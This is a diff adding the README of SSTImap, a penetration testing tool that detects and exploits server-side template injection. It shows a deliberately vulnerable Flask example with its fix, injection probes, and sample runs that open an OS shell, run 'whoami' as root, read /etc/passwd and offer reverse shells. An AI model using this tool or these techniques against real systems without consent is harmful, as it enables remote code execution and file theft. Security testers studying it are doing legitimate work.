|
| 1 | +SSTImap |
| 2 | +====== |
| 3 | + |
| 4 | +[](https://github.com/vladko312/sstimap) |
| 5 | +[](https://www.python.org/downloads/release/python-3100/) |
| 6 | +[](https://www.python.org/downloads/release/python-360/) |
| 7 | +[](https://www.gnu.org/licenses/gpl-3.0.txt) |
| 8 | +[](https://github.com/vladko312/sstimap/commits/) |
| 9 | +[](https://github.com/vladko312/sstimap) |
| 10 | + |
| 11 | +> This project is based on [Tplmap](https://github.com/epinna/tplmap/). |
| 12 | +
|
| 13 | +SSTImap is a penetration testing software that can check websites for Code Injection and Server-Side Template Injection vulnerabilities and exploit them, giving access to the operating system itself. |
| 14 | + |
| 15 | +This tool was developed to be used as an interactive penetration testing tool for SSTI detection and exploitation, which allows more advanced exploitation. |
| 16 | + |
| 17 | +Sandbox break-out techniques came from: |
| 18 | +- James Kett's [Server-Side Template Injection: RCE For The Modern Web App][5] |
| 19 | +- Other public researches [\[1\]][1] [\[2\]][2] |
| 20 | +- Contributions to Tplmap [\[3\]][3] [\[4\]][4]. |
| 21 | + |
| 22 | +This tool is capable of exploiting some code context escapes and blind injection scenarios. It also supports _eval()_-like code injections in Python, Ruby, PHP, Java and generic unsandboxed template engines. |
| 23 | + |
| 24 | +Differences with Tplmap |
| 25 | +----------------------- |
| 26 | + |
| 27 | +Even though this software is based on Tplmap's code, backwards compatibility is not provided. |
| 28 | +- Interactive mode (`-i`) allowing for easier exploitation and detection |
| 29 | +- Base language _eval()_-like shell (`-x`) or single command (`-X`) execution |
| 30 | +- Added new payload for _Smarty_ without enabled `{php}{/php}`. Old payload is availible as `Smarty_unsecure`. |
| 31 | +- User-Agent can be randomly selected from a list of desktop browser agents using `-A` |
| 32 | +- SSL verification can now be enabled using `-V` |
| 33 | +- Short versions added to all arguments |
| 34 | +- Some old command line arguments were changed, check `-h` for help |
| 35 | +- Code is changed to use newer python features |
| 36 | +- Burp Suite extension temporarily removed, as _Jython_ doesn't support Python3 |
| 37 | + |
| 38 | +Server-Side Template Injection |
| 39 | +------------------------------ |
| 40 | + |
| 41 | +This is an example of a simple website written in Python using [Flask][6] framework and [Jinja2][7] template engine. It integrates user-supplied variable `name` in an unsafe way, as it is cincatenated to the template string before rendering. |
| 42 | + |
| 43 | +```python3 |
| 44 | +from flask import Flask, request, render_template_string |
| 45 | +import os |
| 46 | + |
| 47 | +app = Flask(__name__) |
| 48 | + |
| 49 | +@app.route("/page") |
| 50 | +def page(): |
| 51 | + name = request.args.get('name', 'World') |
| 52 | + # SSTI VULNERABILITY: |
| 53 | + template = f"Hello, {name}!<br>\n" \ |
| 54 | + "OS type: {{os}}" |
| 55 | + return render_template_string(template, os=os.name) |
| 56 | + |
| 57 | +if __name__ == "__main__": |
| 58 | + app.run(host='0.0.0.0', port=80) |
| 59 | +``` |
| 60 | + |
| 61 | +Not only this way of using templates creates XSS vulnerability, but it also allows the attacker to inject template code, that will be executed on the server, leading to SSTI. |
| 62 | + |
| 63 | +``` |
| 64 | +$ curl -g 'https://www.target.com/page?name=John' |
| 65 | +Hello John!<br> |
| 66 | +OS type: posix |
| 67 | +$ curl -g 'https://www.target.com/page?name={{7*7}}' |
| 68 | +Hello 49!<br> |
| 69 | +OS type: posix |
| 70 | +``` |
| 71 | + |
| 72 | +User-supplied input should be introduced in a safe way through rendering context: |
| 73 | + |
| 74 | +```python3 |
| 75 | +from flask import Flask, request, render_template_string |
| 76 | +import os |
| 77 | + |
| 78 | +app = Flask(__name__) |
| 79 | + |
| 80 | +@app.route("/page") |
| 81 | +def page(): |
| 82 | + name = request.args.get('name', 'World') |
| 83 | + template = "Hello, {{name}}!<br>\n" \ |
| 84 | + "OS type: {{os}}" |
| 85 | + return render_template_string(template, name=name, os=os.name) |
| 86 | + |
| 87 | +if __name__ == "__main__": |
| 88 | + app.run(host='0.0.0.0', port=80) |
| 89 | +``` |
| 90 | + |
| 91 | +Predetermined mode |
| 92 | +------------------ |
| 93 | + |
| 94 | +SSTImap in predetermined mode is very similar to Tplmap. It is capable of detecting and exploiting SSTI vulnerabilities in multiple different templates. |
| 95 | + |
| 96 | +After the exploitation, SSTImap can provide access to code evaluation, OS command execution and file system manipulations. |
| 97 | + |
| 98 | +To check the URL, you can use `-u` argument: |
| 99 | + |
| 100 | +``` |
| 101 | +$ ./sstimap.py -u https://example.com/page?name=John |
| 102 | +
|
| 103 | + ╔══════╦══════╦═══════╗ ▀█▀ |
| 104 | + ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═ |
| 105 | + ║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __ |
| 106 | + ╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \ |
| 107 | + ╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) | |
| 108 | + ╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/ |
| 109 | + │ | | |
| 110 | + |_| |
| 111 | +[*] Version: 1.0 |
| 112 | +[*] Author: @vladko312 |
| 113 | +[*] Based on Tplmap |
| 114 | +[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. |
| 115 | +It is the end user's responsibility to obey all applicable local, state and federal laws. |
| 116 | +Developers assume no liability and are not responsible for any misuse or damage caused by this program |
| 117 | +
|
| 118 | +
|
| 119 | +[*] Testing if GET parameter 'name' is injectable |
| 120 | +[*] Smarty plugin is testing rendering with tag '*' |
| 121 | +... |
| 122 | +[*] Jinja2 plugin is testing rendering with tag '{{*}}' |
| 123 | +[+] Jinja2 plugin has confirmed injection with tag '{{*}}' |
| 124 | +[+] SSTImap identified the following injection point: |
| 125 | +
|
| 126 | + GET parameter: name |
| 127 | + Engine: Jinja2 |
| 128 | + Injection: {{*}} |
| 129 | + Context: text |
| 130 | + OS: posix-linux |
| 131 | + Technique: render |
| 132 | + Capabilities: |
| 133 | +
|
| 134 | + Shell command execution: ok |
| 135 | + Bind and reverse shell: ok |
| 136 | + File write: ok |
| 137 | + File read: ok |
| 138 | + Code evaluation: ok, python code |
| 139 | +
|
| 140 | +[+] Rerun SSTImap providing one of the following options: |
| 141 | + --os-shell Prompt for an interactive operating system shell |
| 142 | + --os-cmd Execute an operating system command. |
| 143 | + --eval-shell Prompt for an interactive shell on the template engine base language. |
| 144 | + --eval-cmd Evaluate code in the template engine base language. |
| 145 | + --tpl-shell Prompt for an interactive shell on the template engine. |
| 146 | + --tpl-cmd Inject code in the template engine. |
| 147 | + --bind-shell PORT Connect to a shell bind to a target port |
| 148 | + --reverse-shell HOST PORT Send a shell back to the attacker's port |
| 149 | + --upload LOCAL REMOTE Upload files to the server |
| 150 | + --download REMOTE LOCAL Download remote files |
| 151 | +``` |
| 152 | + |
| 153 | +Use `--os-shell` option to launch a pseudo-terminal on the target. |
| 154 | + |
| 155 | +``` |
| 156 | +$ ./sstimap.py -u https://example.com/page?name=John --os-shell |
| 157 | +
|
| 158 | + ╔══════╦══════╦═══════╗ ▀█▀ |
| 159 | + ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═ |
| 160 | + ║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __ |
| 161 | + ╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \ |
| 162 | + ╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) | |
| 163 | + ╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/ |
| 164 | + │ | | |
| 165 | + |_| |
| 166 | +[*] Version: 0.6#dev |
| 167 | +[*] Author: @vladko312 |
| 168 | +[*] Based on Tplmap |
| 169 | +[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. |
| 170 | +It is the end user's responsibility to obey all applicable local, state and federal laws. |
| 171 | +Developers assume no liability and are not responsible for any misuse or damage caused by this program |
| 172 | +
|
| 173 | +
|
| 174 | +[*] Testing if GET parameter 'name' is injectable |
| 175 | +[*] Smarty plugin is testing rendering with tag '*' |
| 176 | +... |
| 177 | +[*] Jinja2 plugin is testing rendering with tag '{{*}}' |
| 178 | +[+] Jinja2 plugin has confirmed injection with tag '{{*}}' |
| 179 | +[+] SSTImap identified the following injection point: |
| 180 | +
|
| 181 | + GET parameter: name |
| 182 | + Engine: Jinja2 |
| 183 | + Injection: {{*}} |
| 184 | + Context: text |
| 185 | + OS: posix-linux |
| 186 | + Technique: render |
| 187 | + Capabilities: |
| 188 | +
|
| 189 | + Shell command execution: ok |
| 190 | + Bind and reverse shell: ok |
| 191 | + File write: ok |
| 192 | + File read: ok |
| 193 | + Code evaluation: ok, python code |
| 194 | +
|
| 195 | +[+] Run commands on the operating system. |
| 196 | +posix-linux $ whoami |
| 197 | +root |
| 198 | +posix-linux $ cat /etc/passwd |
| 199 | +root:x:0:0:root:/root:/bin/bash |
| 200 | +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| 201 | +bin:x:2:2:bin:/bin:/usr/sbin/nologin |
| 202 | +``` |
| 203 | + |
| 204 | +To get a full list of options, use `--help` argument. |
| 205 | + |
| 206 | +Interactive mode |
| 207 | +---------------- |
| 208 | + |
| 209 | +In interactive mode, commands are used to interact with SSTImap. To enter interactive mode, you can use `-i` argument. All other arguments, except for the ones regarding exploitation payloads, will be used as initial values for settings. |
| 210 | + |
| 211 | +Some commands are used to alter settings between test runs. To run a test, target URL must be supplied via initial `-u` argument or `url` command. After that, you can use `run` command to check URL for SSTI. |
| 212 | + |
| 213 | +If SSTI was found, commands can be used to start the exploitation. You can get the same exploitation capabilities, as in the predetermined mode, but you can use `Ctrl+C` to abort them without stopping a program. |
| 214 | + |
| 215 | +By the way, test results are valid until target url is changed, so you can easily switch between exploitation methods without running detection test every time. |
| 216 | + |
| 217 | +To get a full list of interactive commands, use command `help` in interactive mode. |
| 218 | + |
| 219 | +Supported template engines |
| 220 | +-------------------------- |
| 221 | + |
| 222 | +SSTImap supports multiple template engines and _eval()_-like injections. |
| 223 | + |
| 224 | +New payloads are welcome in PRs. |
| 225 | + |
| 226 | +| Engine | RCE | Blind | Code evaluation | File read | File write | |
| 227 | +|--------------------------------|-----|-------|-----------------|-----------|------------| |
| 228 | +| Mako | ✓ | ✓ | Python | ✓ | ✓ | |
| 229 | +| Jinja2 | ✓ | ✓ | Python | ✓ | ✓ | |
| 230 | +| Python (code eval) | ✓ | ✓ | Python | ✓ | ✓ | |
| 231 | +| Tornado | ✓ | ✓ | Python | ✓ | ✓ | |
| 232 | +| Nunjucks | ✓ | ✓ | JavaScript | ✓ | ✓ | |
| 233 | +| Pug | ✓ | ✓ | JavaScript | ✓ | ✓ | |
| 234 | +| doT | ✓ | ✓ | JavaScript | ✓ | ✓ | |
| 235 | +| Marko | ✓ | ✓ | JavaScript | ✓ | ✓ | |
| 236 | +| JavaScript (code eval) | ✓ | ✓ | JavaScript | ✓ | ✓ | |
| 237 | +| Dust (<= [email protected]) | ✓ | ✓ | JavaScript | ✓ | ✓ | |
| 238 | +| EJS | ✓ | ✓ | JavaScript | ✓ | ✓ | |
| 239 | +| Ruby (code eval) | ✓ | ✓ | Ruby | ✓ | ✓ | |
| 240 | +| Slim | ✓ | ✓ | Ruby | ✓ | ✓ | |
| 241 | +| ERB | ✓ | ✓ | Ruby | ✓ | ✓ | |
| 242 | +| Smarty (unsecured) | ✓ | ✓ | PHP | ✓ | ✓ | |
| 243 | +| Smarty (secured) | ✓ | ✓ | PHP | ✓ | ✓ | |
| 244 | +| PHP (code eval) | ✓ | ✓ | PHP | ✓ | ✓ | |
| 245 | +| Twig (<=1.19) | ✓ | ✓ | PHP | ✓ | ✓ | |
| 246 | +| Freemarker | ✓ | ✓ | Java | ✓ | ✓ | |
| 247 | +| Velocity | ✓ | ✓ | Java | ✓ | ✓ | |
| 248 | +| Twig (>1.19) | × | × | × | × | × | |
| 249 | +| Dust (> [email protected]) | × | × | × | × | × | |
| 250 | + |
| 251 | + |
| 252 | +Burp Suite Plugin |
| 253 | +----------------- |
| 254 | + |
| 255 | +Currently, Burp Suite only works with Jython as a way to execute python2. Python3 functionality is not provided. |
| 256 | + |
| 257 | +Future plans |
| 258 | +------------ |
| 259 | + |
| 260 | +If you plan to contribute something big from this list, inform me to avoid working on the same thing as me or other contributors. |
| 261 | + |
| 262 | +- [ ] Make template and base language evaluation functionality more uniform |
| 263 | +- [ ] Add more payloads for different engines |
| 264 | +- [ ] Short arguments as interactive commands? |
| 265 | +- [ ] Automatic languages and engines import |
| 266 | +- [ ] Engine plugins as objects of _Plugin_ class? |
| 267 | +- [ ] JSON/plaintext API modes for scripting integrations? |
| 268 | +- [ ] Argument to remove escape codes? |
| 269 | + |
| 270 | +[1]: https://artsploit.blogspot.co.uk/2016/08/pprce2.html |
| 271 | +[2]: https://opsecx.com/index.php/2016/07/03/server-side-template-injection-in-tornado/ |
| 272 | +[3]: https://github.com/epinna/tplmap/issues/9 |
| 273 | +[4]: http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine |
| 274 | +[5]: http://blog.portswigger.net/2015/08/server-side-template-injection.html |
| 275 | +[6]: http://flask.pocoo.org/ |
| 276 | +[7]: http://jinja.pocoo.org/ |
0 commit comments